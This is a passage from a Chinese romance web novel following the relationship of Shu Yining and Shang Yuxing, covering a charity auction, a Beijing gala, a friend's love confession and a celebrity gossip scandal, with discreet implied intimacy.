岩石杯里的酒反正已经撒完了,商聿行干脆抱着她一起倒进长沙发里。他双臂紧了紧,形成一个令人难以无法逃脱的禁锢。 他思考了一下,十分和颜悦色地问出口:“我要完了是吗,以宁?我会被赶出去吗?” 舒以宁握拳:“对!” 没经过同意就抱她不说,酒还洒在了她的睡裙上,湿漉漉的,多色情啊!她就不信他这酒杯不是故意拿在手里的,过分! 商聿行仿佛又思考了稍许,然后慢条斯理开口:“那我好像只能破罐子破摔了。” “!!!” “你敢!商聿行!” 他将下巴靠在她头顶,低沉磁性的嗓音醇厚得像酒:“怎么办,这回你可能要好长时间都不肯原谅我了。” “!!!” “你敢!商聿行!” 他蹭了蹭下巴,似乎轻轻叹了一口气,语气似是无奈:“可是以宁,我真的好喜欢你。” 第59章 他们在客厅中,在沙发上,在冰冷的茶几上,进行了深层次的交流。 商聿行嘴上说得厉害,劲爆带感,但动作很温柔,富有张力,体验感十足却又并不过分。 舒以宁酣畅淋漓,一直忍不住主动去亲吻他的下颚线和眼皮。 爱人的体温就像是源源不断的潮水,温柔地拥着岸边的砂砾,每一朵浪花都是缠绵的絮语。 商聿行抱着她,亲着她的长发、鼻根与唇角,“赶了也不走,我赶不走的。” 舒以宁以往不是没有过赶不走的恋人,但她总归有办法让他们知难而退。 但商聿行是不同的。 他赶不走,因为,她的嘴巴在赶他走,但她的手,却总是不由自主地贴上了他的腹肌。他们契合,相爱,在这滚滚夜色里。 次日起来,舒以宁休息得很好,对着镜子抹水乳的时候感觉整张脸都能掐出水来,乌眸也是盈盈着,好看极了。 她欣赏了一会儿自己的美貌,决定昨晚就算了,饶他一马;但今晚是万万不行的,还有四天,这四天都得严格要求他滚去书房睡! 晚上,舒以宁和许夏天应邀出席DQ慈善晚宴。 新主编刘蕴人脉资源很广,晚宴请了不少明星与圈内名媛,星光熠熠,阵仗搞得很大。 “亲爱的,你这条是Valli家春夏大秀的高定?哇,穿在你身上也太漂亮了亲爱的。”刘蕴与舒以宁都是毕业于UCL,同时,她也是许夏天母亲的外甥女。因此,即便舒以宁与她之间虽然隔了很多届,但这么多年以来也颇有些表面的交情。 舒以宁在H市上流圈子中素来以美貌与对时尚的前瞻性闻名,传言中她最近与商盛集团那位运筹帷幄的年轻总裁关系匪浅,又特意出席来为自己的就职撑场面,刘蕴这回自然要把她奉为头等座上宾。 舒以宁微笑回应,与其商业互吹:“今晚的主题我也很喜欢,布置得很梦幻。” “那可真是太好了,谢谢你能喜欢,亲爱的。”刘蕴状似不经意般问起:“怎么没带男伴来?需要我安排一下吗,千万别客气亲爱的。” 舒以宁笑道:“太客气了亲爱的,我这不是带了女伴?” 刘蕴笑她乱开玩笑,接着便对许夏天说:“今天你哥哥秦延昭也在,见到了没?” 许夏天眉眼弯弯地回道:“我哥提前和我说过了会来。姐,祝贺你。” “嗯好,那你们先玩,有事尽管喊我。”临走前,刘蕴拍了拍许夏天的肩膀。 经刘蕴一提,许夏天才想了起来,趁无人过来交际的空档,压低声音问:“我还以为你会和商聿行一起来,怎么不带他?刚和好就吵架了?” 舒以宁骄矜高傲道:“没和好,他现在还只是我的奴隶。” “玩这么花?Master/ServantPLAY都玩起来了??”许夏天过于激动,以至于声音越说越响。 舒以宁只能手忙脚乱地去捂她的嘴巴,高贵冷艳的形象一下子破功:“你给我闭嘴!” 许夏天成功躲了过去,比了个OK的手势,“我的错我的错,回去再聊你俩的特殊癖好。” 舒以宁:“……” 今晚的前菜是法式鹅肝配香橙无花果酱,许夏天只吃了一小口就放下了。 秦延昭坐在她们旁边,见状,问道:“胃口不好?” 许夏天挺直脊背,一本正经道:“我要少吃点,不然以宁又要嫌我胖了。” 舒以宁微笑,颀长的天鹅颈往许夏天这边转过来,仪态端庄地轻声开口:“你在放什么狗屁?” 秦延昭含笑看向舒以宁,一语道破:“肯定又是茶点吃多了,往你身上甩锅。” 用餐中台上进入了拍卖环节,善款会尽数捐入DQ基金,用于帮助失学贫困儿童重返校园。 前几件拍品各有特色,有COACH限量版包包、劳力士M系列机械腕表,也有著名大师制作的紫砂壶、创作型歌手的第一把吉他,不一而足。 秦延昭捐赠的是俄罗斯新生代艺术家的一副布面油画作品,舒以宁以舒住集团的捐赠名义拍下。 下一件拍品由华语影视导演及影后张雪饶捐赠,是一对HarryWinston的钻石耳坠。 台上,刘蕴笑着介绍:“张雪饶导演因工作安排遗憾不能到场,但依旧为我们今晚的慈善拍卖捐赠了一件意义非凡的拍品。让我们一起掌声感谢张导对于慈善的支持!” 这是一对很漂亮的耳坠,主石为椭圆形切割的坦桑尼亚红粉色尖晶石,分别搭配十二颗水滴形切工钻石。华贵典雅,珠光熠熠。 旁边有女明星小声议论:“这是雪饶姐十五年前入围戛纳主竞赛单元佩戴的那套珠宝吧?” 起拍价照例是1元,很快就被争相竞价,抬到了750万人民币。 竞价的人渐渐少了起来,价格来到了920万人民币。 此时,秦延昭举牌:“一千一百万。” 许夏天震惊,回头盯住秦延昭,用眼神传达着“没想到你对今晚这场慈善晚宴这么有诚意”的意思。 舒以宁跟着看了过去,对上秦延昭似笑非笑的目光。 她觉得有些怪怪的,但没有多想。 有人跟到了1200万。 秦延昭气定神闲举牌:“两千万。” 此言一出,场内顿时寂静一片,众人纷纷侧目。 许夏天再次回头盯住他,惊诧不已,心道:你是疯了吗??两千万买啥不好就拍这么件小首饰? 但众人的目光正聚焦在他们这边,她只好按捺下满心的吐槽,勉强保持微笑。 舒以宁也是十分惊讶,颇感意外地看了他一眼。 刘蕴宣读最终报价,两千万,一锤定音,成交。 秦延昭被请上台与拍品合影,上台前,他特意看向舒以宁,与之对视一笑。 舒以宁一头雾水,还以为自己看错了。直到两分钟后走到台上的秦延昭对着话筒开口—— “我是替我背后的老板S先生出价,赠与舒以宁舒小姐。S先生祝舒小姐如这对耳坠上的钻石一般,永远璀璨明亮,光彩动人。” ** 舒以宁没有留下来参加晚宴结束后的AfterParty。她上了车,划开手机屏幕刚想打给商聿行,紧接着就又按灭了屏幕。 不行,不能被这狗东西就这么轻易地给攻略了。 区区两千万的耳坠,搞得她好像多没见过世面似的。 想到这里,舒以宁挺了挺背,淡淡对司机说道:“回浅水湾。” 手机震动了两下。 是许夏天接连发了一连串的滑稽大黄头表情包过来。 舒以宁回:[?] 许夏天:[看来今晚要有很少儿不宜的激烈场面了呀。] 许夏天:[玩得愉快,我的公主殿下:D] 舒以宁弯了弯唇角,垂眸回:[拉黑了,再见。] 拉黑自然是玩笑话,彼此心知肚明。 今夜,圆月夜,月明星稀。国贸高耸的玻璃幕墙折射出清冷的光,与城市中心的火树银花温暖交融。 进了浅水湾鼎苑,车子没有开到地下车库,与往常一般停在楼栋前。司机下来为舒以宁拉开车门,舒以宁没有下车。 夜色中,一身黑色高定西服的男人靠着楼栋大门左边的墙壁,身形修长,浑身上下泛着矜贵卓然的气质。 隔着八.九米的距离,他望过来,依旧是舒以宁眼中那副诱人深入的好皮囊。 二人遥遥相望了半分钟,目光交错,犹如电影中欲说还休的慢镜头。 商聿行笑了笑,抬步朝她走来。 舒以宁还是没有下车,眸光不闪不避,一瞬不瞬地迎着他的目光。 左右不过几步路,商聿行很快就走到了她面前。 “今晚可以不睡书房吗?”他垂眸看着她,浅浅一笑,眼中浮起深沉的温柔。 嗓音徐徐,醇厚且平稳。 他朝他她出手。 舒以宁正面回应他,抬了抬下颌,冷艳道:“不想睡书房就别上去了。” 浅水湾鼎苑的安保系统十分注重便捷性与私密性的平衡,舒以宁要在手机APP上给他开临时权限,他才进得来。舒以宁近来憋着一口气,临时权限都是24小时一开,杜绝了狗东西想在她房子里为所欲为的可能性。 电梯入户,商聿行在玄关处蹲下来,单膝跪地为舒以宁取下高跟鞋。 舒以宁低头看着他层次修剪合适的头顶,突然开口问:“商聿行,你有多喜欢我?” 她当然知道什么是喜欢。 喜欢是偏爱,是目光所及的欢喜。 但她是个感情里彻头彻尾的悲观主义者,在她看来,他的喜欢是可以物化的。 是一张没有标明额度的副卡,是一件又一件的天价高定,是两千万溢价的钻石耳坠。 还有呢? 还有是什么? 她不知道。 她不知道除了“物”以外,他在她这里还意味着什么。 而就是这一刻,她无比清晰地知道着自己的这一“不知道”,继而变得迷惘起来。 商聿行抬头望向她,清高俊美的眉棱骨轻轻一挑。他漆黑的眼眸中隐有星火,缓缓道:“以宁,我想,我要好好想一想才能回答你的这个问题。” 他的吐息很平稳,语气却也很郑重,在舒以宁听来仿佛是在面对一桩十位数打底的生意。 第60章 舒以宁后退两步靠着墙壁,顷刻间就恢复了姿态,嘴硬道:“我其实也没多想知道,但你就不能说两句情话哄哄我?” 商聿行站起身,抽了两张湿巾纸擦手,但笑不语。 舒以宁索性不去看他,绕过他就要往里走。擦肩而过的刹那间,手腕不出意料地被扼住了。 男人用力一拽,她就被这阵力道带回了他的怀里。 舒以宁仰起脸,平拉着唇角抬眸看他。 商聿行翘起唇角,温柔地看着她乌黑明澈的眼眸。 他松开了她的手腕,转而捧住她的脸,目光专注而虔诚:“如果我说,我只是个见色起意的凡夫俗子,一个甘愿拜倒在你石榴裙下的凡夫俗子……以宁,你会不会对我失望?” 他的目光太过炽烈,就像冬日扑簌簌雪花中燃起的碳火,令人忍不住靠近却又不敢步入其中。见色起意……谁又不是见色起意呢,谁又不是凡夫俗子呢? 舒以宁不知道自己究竟想要从他这里得到一个什么样的答案,甚至就在此刻,她都不知道自己为何要到他这里来寻求这么一个问题的答案。 这是没有意义的。 他的炽烈能维持多久?她又能拿什么来拿回应他的炽烈? 这没有意义。 唯一有意义的,就是他们此时此刻彼此把握住的那颗真心。只限当下,绚烂这一刻的时光。 舒以宁仰着脸,目光缓缓下移,定格在他的嘴唇上。唇色淡淡,泛着健康的微红光泽,与周围冷白色的面部肌肤搭配着,微微张开,增添了一丝欲感。 看起来就很好亲。 而事实上也是非常好亲的,她比任何人都清楚。 她情难自禁地踮起脚去亲吻他的唇角。 爱人的唇齿是感情最好的催化剂,吻着吻着,两个人就都动了情,难舍难分。 很快,就重叠成了一个人。 ** 舒以宁将慈善晚宴的耳坠收进了首饰盒中,暂无戴出去的打算。她回了西岸工作,参与到现代大都会色彩展紧锣密鼓的前期策划与筹备工作中。 商聿行在浅水湾鼎苑物业系统中的临时权限被升级为了住户权限。 商盛秘书处的私下小群里,大家嗅觉敏锐——bigbrother肯定又恢复恋爱了,最近发火都不怎么发了,开会的时候再生气也只是冷冰冰丢下两句命令,没再直接让出错的高管立马收拾包袱走人。 Karina在小群里偷偷摸摸分享消息:bigbrother经过努力,终于追回smallqueen了,她上午刚帮这两位还有小茉莉订了周末飞北京的机票。 小茉莉是小群里对江路南的代称。 江路南约等于江南,江南是林俊杰的著名歌曲之一,林俊杰有首贼好听的歌叫做《茉莉雨》。而江路南为人不错,工作严谨但又不失温度,群内众人对他的观感都还是比较不错的。所以,在一个不为人知的角落里,江路南就这么被称为小茉莉了。 Karina正埋头研究群里的消息,小茉莉,哦不,江路南敲了敲她的工位桌面。 吓得她赶紧把手机收起来。 “看什么,这么紧张?”江路南瞅了她两眼,然后说:“北京你也订张票一起去,公务舱,走总裁私人账户。” “啊?我也去?”Karina用手指指着自己,不确认道。 江路南点点头,耐心说:“舒小姐要是有什么需要用到你的地方,你得跟着。” “哦哦好的,保证完成任务!”太好了,她可是总裁和舒小姐的头号CP粉:D。 商聿行此番到北京参加的是中国企业家座谈会,座谈会前一晚恰好有个两个月前就向他递了帖子的晚宴聚会,就一并带舒以宁过去玩一玩。 各行各业领军人物云集,群英荟萃,名流济济。众人推杯换盏间,又是好一番的觥筹交错,衣香鬓影。 商聿行带着舒以宁认识了不少人物,来人大多都要发自内心地称赞一句他二人是如何登对。舒以宁听得多了,也从一开始的不好意思,变得坦然起来。 商聿行介绍裴照给舒以宁认识:“华睿影业的裴总。” 裴照笑着举杯:“舒小姐,幸会。” 他比舒以宁还要小上两岁,但早在去年年初就已经接手家业。肖寂也是他力排众议砸资源,一手推上去的。 舒以宁与他碰杯,浅笑:“裴总,幸会。” 商聿行开玩笑道:“我还没介绍完,你们倒是先喝上了。” 裴照做了一个请的动作,笑道:“抱歉,商总继续。” 商聿行于是搂上舒以宁的腰,垂眸对视了一会儿,唇角微微上扬:“我女朋友,以宁。” 晚会后半程,楚江野过来和商聿行、舒以宁聊天。 他毫不留情地笑话商聿行:“阿行,刚刚我就搁旁边看着呢,你怎么跟个开屏的雄孔雀似的?倒是少见,哈哈哈。” 笑完,他不忘捧舒以宁两句:“还得是以宁,治得他服服帖帖。” 说话间,楚江野的夫人叶蘅也走过来打招呼。他们夫妇是商业联姻,膝下虽有一双儿女,但夫妻间没有多少感情,基本上各玩各的。 舒以宁与她有过几面之缘,笑着喊嫂夫人。 叶蘅笑着说客套话:“下次和思然妹妹一块儿来家里吃饭。” 舒以宁笑答:“下次一定。” 叶蘅走后,楚江野笑着和舒以宁说:“以宁,你可别真和思然提。” 他们两家如今早已分道扬镳,小辈间实在不方便走动。 舒以宁知晓个中委曲,笑道:“我明白的,江野哥。” 除了楚江野,陈印嘉也是个熟人。他头上顶着商盛科技CEO的头衔,自然也是各类觥筹交错场合的常客。 舒以宁与陈印嘉夫妇也聊了几句,陈夫人笑道:“我们俩可就等着喝你和阿行的喜酒了。” 舒以宁笑了下,没把“不婚”那句话说出口。即使如此,她心里依旧明白,她是个不会结婚的人。但她和商聿行还没到谈论这些的时候,没必要说出来徒增不快。 这一晚,沈嘉树坐在副驾驶座,与司机一起等陈印嘉夫妇从宴会厅出来。 按下车窗,他看到了舒以宁弯腰上车的身影。 她戴了一条钻石簇花环式项链,如华美的瀑布一般。 同系列的水滴形耳环、手链。 他见过这套珠宝,在陈印嘉家中铜纸板的珠宝图册上。 他想起陈印嘉的夫人曾经说过,世间没有两颗相同的钻石。就像舒以宁,独一无二,无与伦比。 沈嘉树没有参与过高端社交场合,他也鲜少看剧,没有接触过影视剧中纸醉金迷的生活。所以,他不认识高珠,不管是鼎鼎大名的HarryWinston,还是小众设计师品牌。 但他在看到这套珠宝的刹那间,不由自主,就想起了舒以宁。 他数着上面的0,知道这是一个他负担不起的数字。 而此刻,这套珠宝出现在了舒以宁身上,搭配着她简单低调却不失奢华的高定礼裙。 珠圆玉润,浑然天成。 下了车回到住处,陈印嘉的夫人捂住心口,叹了口气说:“你就不该喊嘉树来,你是没看见这孩子看舒以宁的眼神,看得我心都要碎了。” “年轻人,看清楚些,脑子才能清醒。” 陈夫人轻嗔:“哪有你这样的。” “出了学校就不是象牙塔了。” 而多年后,沈嘉树创业成功,陈夫人从他家的书房里再次看到了HarryWinston的这套同款珠宝。 当然,这都是后话了。 沈嘉树与舒以宁的故事到这里就结束了,而舒以宁这边的故事还很漫长。 秦延昭拍戏空档有两天没有通告,回了H市,与他们一帮人一块儿聚餐喝酒厮混。 期间聊起前阵子DQ晚宴上两千万耳坠的事情,秦延昭笑道:“商聿行说了,一个亿以内不用打他电话,直接拍。” “草,财大气粗。”王樾颇不认同地摇了摇手指。 秦延昭与舒以宁碰了下酒杯,问:“肖寂一会儿也来,你介意吗?” 许夏天振臂高呼:“好耶,要有好戏看了!” 王樾大笑,“你信不信我这就给商聿行打电话,许夏天!你完蛋了!还看好戏呢,我看你倒是马上要变成好戏了。” 许夏天瞅了他一眼,毫不留情地怼道:“你有人商聿行电话么,还打电话。” 王樾提高声量:“我打商盛总裁办电话不行?” “你俩别吵吵,一边儿玩去。”楚思然蹙眉打断他们两个小学生的争吵,问秦延昭:“你怎么还邀请了肖寂?不是说好了我们私下的聚会里,谁都不能带人来玩?” 秦延昭笑道:“他想见一见以宁,托我做个桥梁。不过我没有告诉他地址,以宁,你要是不想见,我就回绝了他。” 许夏天再次举高双臂:“夏夏想见!” 许夏天最近猛嗑她哥秦延昭和肖寂的CP,有什么能比看到两位主角儿当着她面站在一起更令人兴奋的呢? 王樾斜眼睨她:“又有你什么事儿了,小夏夏?你可别跟我说,你也喜欢上肖寂那个黄毛了啊!一个个都什么品味。” “有本事你上微博去说,看人肖寂的粉丝冲不冲死你。” 楚思然:“你俩闭嘴。” 许夏天和王樾立马战火停歇,不约而同委屈巴巴地看着她。 楚思然看着秦延昭:“你现在就打他电话,跟他说,以宁不想和他见面。现在就打,我们看着你打。” 她的表情过于严肃,连秦延昭也愣了一下。 片刻过后,他笑了起来:“以宁都还没说什么,你反应太大了。” 楚思然:“君子不立于危墙之下。” 舒以宁拎起刚用商聿行卡刷来的小房子birkin包包,“楚楚说的有道理,我看,我还是先走了。” 许夏天一把拉住她,不让她走:“富贵不能淫,威武不能屈,以宁你的气节呢以宁!” 楚思然看了她一眼,“少添乱。” 许夏天立马缩回小手手:“噢。” 秦延昭向舒以宁赔罪:“是我考虑不周到,放心,我没有告诉他地址。” 舒以宁这才坐回来。 王樾不满道:“楚楚,你干嘛这么怕商聿行?大不了让他把以宁家搞破产嘛,反正我们不破产就行了。” 舒以宁:“……我还是先走了。” 舒以宁说走就走,留下一句“下次再聚”就离开了。 王樾埋怨许夏天:“都怪你,非要见什么肖寂。” 许夏天:“???” 许夏天:“怎么又变成我非要见肖寂了?” 王樾:“这么说你不想见咯?” 许夏天:“我想见不是很正常?” 楚思然无语了,对王樾说:“夏夏现在在磕老秦和肖寂的CP。” 王樾震惊了,眼眶登时瞪大,“不愧是你,连亲哥的CP都磕得下去。”虽然明明不是亲哥,但是,这胜似亲哥啊! 许夏天叉腰吼他:“我哥都没意见,你瞎逼逼什么?” “行行行。”王樾喊秦延昭:“反正以宁已经走了,你让肖寂过来吧,让你妹好好磕磕。” 秦延昭最后委婉地告诉肖寂,舒以宁已经离开了。 他自然不会邀请肖寂过来与他们一块儿喝酒,等散了场,他负责将许夏天送回家。 车上,秦延昭看着正与舒以宁发微信消息的许夏天,淡淡开口:“我有意见。” 许夏天抬起头,转过去看向他,漫不经心问道:“什么?” 秦延昭看着她的眼睛,一字一顿:“我不喜欢你磕我的CP。” 许夏天闻言,乌眸顿时弯起,说:“哥你放心,我虽然更磕年下,但我绝对支持你做攻!” 司机车技高超,几脚油门就抵达了目的地。 下车前,许夏天看了下时间还早,于是说:“外婆上礼拜还在提起,很久没看见你了。你今晚还有其他事吗?没有的话,要不在我家过夜?” 秦延昭静静地看了她一会儿,倏然开口:“我不是你亲哥。” 许夏天感觉今晚的秦延昭特别奇怪,她有些不知所措,只当是自己磕他的男男CP惹他生气了。 毕竟,没有哪个直男受得了被人代入BL。 她想道歉,但目光一对上秦延昭漆黑深邃的眼眸,立马就又避开了去。 连她自个儿都说不清,到底在心虚个什么。 许夏天收回目光,打开车门就要下去:“那我先回去了,你……” “砰——” 秦延昭的身子越过她,长臂一展,迅速将她才开了一点点的车门甩上了。 许夏天一下子怔住了。 离得近,男人身上旷野般自由热烈的多重木质香调香水瞬间侵入她的安全范围之内,无孔不入。 “下车。” 她听见他冷冷吩咐前排的司机。 司机动作麻利地下了车,关车门的声音砰一下,击中在许夏天心上。 许夏天如梦初醒,看向已经坐回她身侧的秦延昭,忐忑开口:“哥?” 秦延昭眸色很深很重,一瞬不瞬地盯着她,唇角微微抿起。 许夏天手指微微屈起,整个人莫名有些紧张。她咬了咬下嘴唇,试探着问道:“哥,我是不是哪里惹你生气了?” 秦延昭蓦地笑了。 许夏天却没在他黑眸中看到半点儿笑意。 她不由发憷,见他迟迟不开口,愈加难熬。 “哥,要是没什么别的事,我就……” 秦延昭:“许夏天。” 许夏天身子莫名一颤,被他这个咬字惊得心脏都疯狂跳动了起来。 秦延昭直视她的乌眸,嗓音里满是克制的怒气:“这么多年……你他妈看不出老子喜欢你?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 秦延昭向来是圈子里离经叛道的典范。 他不到二十岁就从名校辍学,跑去韩国参加了个什么练习生的选拔。其后,又与韩国的公司解约,签了国内一家刚起步的偶像运营经纪公司。 二十一岁那年,他通过一档偶像选秀节目爆火,一时间风头无两。 一路以来拥有无数人的追捧,也遭受不堪入耳的谩骂。 秦父一度以断绝父子关系为威胁,要求他退出娱乐圈。他没有就范,反而收拾行囊,头也不回地离开了秦家。 再后来,许夏天的母亲与秦父离婚,他们的父子关系在不久后也得到了改善。 令所有人都感到奇怪的是,秦延昭待许夏天母女照旧,甚至,亲近得不同寻常。 许夏天一直都知道,秦延昭私下多次将赚到的钱打入她母亲的账户,供她母亲挥霍。 而她,一直将其视为,秦延昭对她母亲没有生下秦父次子的感谢与报答。 毕竟,她母亲当年是怀上,又主动打掉了的。这件事也成为后来她母亲与秦延昭父亲离婚的导火索。 从小到大,秦延昭都待她很好,她一直以为,秦延昭是将她当做了亲妹妹。 可是今天,然而今天。 他说他喜欢她,他说这么多年,他喜欢她。 许夏天不知道能怎么回答。 她想告诉他,她只把他当做哥哥。 ——可是这样的话,太过于绿茶,此时此刻她是说不出口的。 许夏天犹豫了很久,最终决定告诉他一个几乎无人知晓的秘密。 “可是哥,我喜欢的是邢南。”她说。 ** 这个时间,商聿行还在公司加班。 舒以宁从聚会上离开后,径直来了商盛。她的身份信息不知何时又被录入了进去,一扫脸就成功打开了闸机。 进到总裁办,商聿行勾唇看她:“晚上不是要出去玩?”他知道她今晚要和她的朋友们聚一聚。 舒以宁含糊其辞,走过去用手臂环住他颀长的脖颈:“想你了,想回来陪你加班不行?” 她故意说:“你要是不想我看着你,我这就走。” 商聿行一把将她捞回来,垂眸低笑:“来了,还想走?” 舒以宁坐在他腿上,伸出手臂勾住他颀长的脖颈,反客为主:“那你到底想不想我走,商聿行?” 商聿行侧过脸,亲了亲她皓白的手腕。 “我们搬回世纪城住?”他征询她的意见。 舒以宁那儿虽然也不错,但地方终究不够大,施展不开。比如单单顶层泳池,就能玩出不少花样来。 舒以宁明白他的意思,含混不清道:“唔,万一你欺负我欺负得太狠了怎么办?我都没办法把你踢出去。” 商聿行勾了勾唇角。 舒以宁质问他:“你笑什么?” “住在你那儿,也没少见你受我欺负,以宁。” “……狗东西。”她忍不住骂出了声。 “嗯,那今晚就让鄙人带舒小姐见识一下什么是名副其实的狗东西。鄙人之荣幸,舒小姐。” 舒以宁被折腾了一夜,醒来后最先接到了宋正阳的电话,他言简意赅:“以宁,出事了,你上微博热搜了。” “微博热搜?” 舒以宁满头疑问地打开微博,在热搜榜上刷新了两遍都没看见自己的名字。她刚睡醒,脑子有点发懵,隔了一会儿才发现热搜上好有几个秦延昭的名字。 [秦延昭夜会神秘女子] [秦延昭地下恋情] [秦延昭肖寂] 舒以宁一边对着电话另一头说“你可别告诉我,秦延昭夜会神秘女子的主人公是我”,一边点进这条微博热搜。 被偷拍到的是一张下车的同框照。 照片中的女人一袭黑色吊带长裙,雪肤乌发,在夜色中单单一个侧影就让人感觉美得惊心动魄。 巧了,就是她舒以宁本宁。 “帮我联系一下这个爆料的狗仔,拍照太有氛围感了,天啊。”舒以宁真心实意地对自己的这张照片相当满意,“他接不接约拍?” 宋正阳沉默了下来。 过了一会儿,他才重新开口:“微博上已经有好几个人认出来是你了,有条微博评论都已经过万赞了。估计用不了一小时,你的名字也会出现在微博热搜的词条里。” “认出来就认出来呗,骂我的人多么?”舒以宁心态很好,“我跟老秦清清白白,能有什么事儿?” 左右真的假不了,假的真不了。 舒以宁退出微博,打开微信。 一瞬间,涌入的消息倒是不少,秦延昭自然也发了几条消息过来,但许夏天的对话框却是出奇得安静。 舒以宁首先给她发消息: [我跟你哥被拍了,你嗑的CP要BE了。] [偷偷告诉你,其实我跟你哥谈了两个月地下恋情了。] 许夏天没回。 舒以宁等了三分钟没收到消息,就又发了两条过去: [?] [该起床了,睡得跟猪一样。] 她只当许夏天昨晚喝多了,还在睡懒觉。 语音通话还未挂断,宋正阳说:“他粉丝很多,这两天你尽量少出门,我给你雇了安保公司。” 舒以宁笑道:“不用这么夸张。” 宋正阳很坚持:“难免有人不理智,防患于未然。” 舒以宁:“我跟在商聿行身边能有什么危险,他出入都有保镖的……不对啊,商聿行那边怎么没撤热搜?” ** “公关没能压下来,总裁,这是我的工作失误。目前热搜那边有在联系,存在阻力,可能还需要一点时间。”江路南没有把话说得开门见山。 商聿行抬眸,淡声猜测:“有人授意,控制了公关渠道?” 江路南答道:“是的,总裁,这是我的工作失误。” 他知道商聿行不喜欢问一句答一句,当即和盘托出:“董事长方面要求公关部针对本次事件进行冷处理,我私下通过中间人联系的公关渠道也都被切断了,对方的意思也是……董事长……” 商聿行蹙眉:“商砚廷?” 江路南直言不讳地说出自己的猜测:“确实是董事长的命令。除此以外,我个人倾向于认为这次的事件可能从一开始就出自董事长那边的手笔。” “嗯,我知道了。”商聿行也这么猜测。 江路南:“那热搜我们还要撤吗?也可以买些其他热搜把热度降下来。秦延昭的公关团队没联系上舒小姐,一早也联系了我们。” 商聿行看着手机上江路南发过来的照片,漫不经心道:“他们什么打算?” 江路南觉得十分奇怪:“秦延昭的团队一直联系不上他本人。总裁,您说……他会不会是被董事长控制了?” 商聿行默了一瞬,淡声道:“不至于。” 舒以宁这边,结束与宋正阳的通话后,才她慢悠悠点开微信上秦延昭发来的消息。起初,她以为是他对此次乌龙事件的道歉,以及找她商量对策,没想到—— [我和夏夏告白了。] [她拒绝了我。] [真可笑啊。] 舒以宁:“!!!” 再一看时间,三条消息都是今天凌晨两点多发的。 难怪他的对话框在众多未读消息的最下面。 舒以宁第一时间给许夏天打电话,无人接听。 她又立马打给秦延昭,同样无人接听。 舒以宁打开五人小组的微信群聊,仔细一想,又从微信界面退了出来。 没一会儿,群里的消息倒是先噼里啪啦冒出来了。 是王樾那个没眼色的睡醒了,在群里狂吃秦延昭和舒以宁被狗仔偷拍的瓜,光贱兮兮的大笑表情包都发了一长串。 舒以宁正值心烦意乱之际,冷冰冰在群里回了句:[再吵吵信不信把你拉黑?] 王樾这才又发了张笑哭的表情包,继而消停了。 舒以宁起床洗漱,吃了早餐,化妆的时候看到手机屏幕亮了起来。 她以为是许夏天回消息,立马扔下化妆刷拿起搁在化妆台旁的手机。 结果是商聿行发来的消息:[醒了?] 舒以宁将手机放回原处继续化妆,化好了才慢悠悠回他消息:[早就起了,你在开会吗?方不方便接电话?] 她刚按下发送按钮,三秒钟之后,商聿行的电话就打过来了。 舒以宁接起来就问:“喂,你也看见网上的八卦了是吗?” 商聿行笑了笑,慢条斯理道:“昨晚突然来办公室陪我加班,嗯?” 舒以宁拖长调子故意说:“嗯,是的,就像你看见的那样,你被抛弃了,我和老秦在一起了。” 她跟老秦之间清清白白,要有点什么故事,不早就有了?等得到现在? 对面传来一声低沉磁性的笑,通过电磁波的二次渲染,落入人耳中愈加显得吸引力十足。 舒以宁心痒难耐,但还是仿佛丝毫不受影响似的问他:“你笑什么?” 商聿行的嗓音低缓磁性:“希望今晚在床上你的嘴巴也能这么硬,舒小姐。” 舒以宁:“……” 舒以宁:“骚话别说了,先跟你说个正经事。老秦跟夏夏告白了,夏夏应该对他没意思。我现在联系不上夏夏,商聿行,我有点担心她。” 商聿行闻言,思忖稍许。 无论秦延昭还是许夏天,他都不曾与其有过多少交集,不过—— “我想许夏天目前可能想要一个人静一静。” 舒以宁明白这点,回道:“我也这么觉得,如果过两天我还联系不上她,你帮我找好不好?” “放心。” “那先挂了,今天我要去趟舒住,有个会。” 商聿行:“晚上有空吗,陪我参加个舞会?我让江路南联系了一个妆造团队,下午三点会过来给你做妆发,你看可以吗?” 第62章 舒以宁应下了,没问是什么舞会。她见他似乎挺重视,于是就说:“StephaneRolland的那条高定到了,我今晚就穿这身?” 商聿行笑了一声,温柔磁性,“看你喜欢。” 舒以宁耳尖一颤,忍不住多问了一句:“那你喜不喜欢,商总?” 商聿行轻轻笑:“我只需喜欢我的舒小姐。” 舒以宁惊诧:“什么时候这么会油嘴滑舌了?被鬼东西上身了?” 狗东西被鬼东西上身了…… 听上去挺有意思。 算了,现在不是想这个的时候,她也是在没心情。 只希望夏夏那里一切平安。 十点,舒以宁到舒住参加了董事务虚会暨落实董事会职权推进会。会后,孔建民摆出长辈的姿态,热络问起:“以宁,你和商聿行现在怎么样了?” 舒以宁微微一笑,一瞬不瞬地看着他,缓缓道:“感谢孔叔叔关心,我们目前感情状态很稳定。” “那就是有结婚的打算了?” 舒以宁佯装惊讶,接着说道:“孔叔叔不知道么?我是不婚主义者。” 孔建民矍铄的双眼眯了一下,用我也是为你好的语气开始说教:“哎,那怎么行?你一个女孩子这样没名没分地跟着他,总归吃亏的。以宁啊,你妈妈不在了,老舒也一直没有消息,做叔叔的……” “孔总说笑了,以宁哪是会吃亏的性子。”宋正阳乐呵着打断他。 从会议室出来,舒以宁又去宋正阳办公室坐了会儿。 宋正阳亲自给她泡茶,茶盏送到她手边时,他终于问出了那句话:“以宁,你对商聿行是动真感情了吗?” 舒以宁并不想和他交流这个话题,打了个哈哈就略过去了:“嗯?我有哪段感情是假的不成?倒是你,Raymond,在感情方面我都可以做你的爷爷了。” 宋正阳哑然失笑,半开玩笑着骂了句:“没大没小。” ** 商聿行的车库很大,满满当当两排限量版跑车。 他在车库中选了辆布加迪Chiron开。 舒以宁上一次见他没带司机还是上个月他出现在她楼下的后备箱惊喜,但还是头一次眼见他亲自开车。她一边系安全带,一边一本正经叮嘱道:“市区限速,你悠着点,要做个遵纪守法的好公民。” 商聿行开得不快。 虽然已经过了晚高峰,但H市市中心红绿灯多。他们今天运气不算好,一路连吃好几个红灯。 一遇到红灯,商聿行就停下来吻吻她的耳朵、捏捏她的手背。 又一个红灯,舒以宁望着他近乎完美的侧脸,说:“你不是还会骑摩托吗?商聿行,你下回带我坐摩托吧?” 他那辆哈雷,够酷的。 男人慢条斯理开口:“不太安全。” “可是我想坐,商聿行。”舒以宁脑袋靠过去撒娇。 商聿行转过脸来,清高的眉棱骨微微往上一挑,“用什么做交换?” 